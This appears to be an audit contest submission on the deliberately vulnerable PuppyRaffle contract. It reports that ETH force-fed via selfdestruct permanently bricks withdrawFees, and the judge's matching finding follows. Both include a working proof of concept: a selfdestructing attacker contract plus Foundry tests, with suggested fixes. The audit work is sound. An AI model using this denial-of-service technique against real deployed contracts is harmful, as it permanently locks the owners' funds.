Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

PuppyRaffle::withdrawFees strict balance check can be bricked by force-feeding ETH, locking fees

yui1853

[M-3] PuppyRaffle::withdrawFees strict balance check can be bricked by force-feeding ETH, locking fees

Risk

Likelihood: High — Anyone can force ETH into the contract via selfdestruct (or a pre-computed address funded before deployment); it bypasses receive/payable and cannot be prevented.

Impact: Medium — The accrued protocol fees become permanently un-withdrawable (locked). No user principal is stolen, but legitimately-earned fees are frozen.

Severity: Medium (Medium impact × High likelihood).

Description

withdrawFees gates withdrawal on a strict equality between the contract's ETH balance and totalFees:

function withdrawFees() external {
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); // @>
...
}

The contract's balance can be increased without going through enterRaffle by force-feeding ETH (e.g. selfdestruct(payable(puppyRaffle))), which bypasses all function logic and does not update totalFees. Once address(this).balance > totalFees, the strict == check can never be satisfied again.

Impact

An attacker sends as little as 1 wei via selfdestruct to permanently break withdrawFees; the fee recipient can never withdraw the accrued fees. Denial of service / permanent lock of protocol funds.

Proof of Concept

After a normal raffle where balance == totalFees, a ForceFeeder contract selfdestructs 1 wei into the raffle; withdrawFees() then reverts with "There are currently players active!".

// helper: force-feeds ETH via selfdestruct (bypasses receive/payable)
contract ForceFeeder {
constructor() payable {}
function attack(address payable target) external { selfdestruct(target); }
}
​
function test_withdrawFees_bricked_by_forced_eth() public {
address[] memory players = new address[](4);
for (uint256 i = 0; i < 4; i++) players[i] = address(uint160(i + 1));
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
puppyRaffle.selectWinner();
​
ForceFeeder feeder = (new ForceFeeder){value: 1}(); // 1 wei
feeder.attack(payable(address(puppyRaffle))); // balance > totalFees forever
​
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}

Recommended Mitigation

Do not rely on the contract's raw balance for accounting. Withdraw based on the tracked totalFees directly (and drop the brittle strict equality):

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

This pays out the exact fees owed regardless of any extra (force-fed) ETH sitting in the contract.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!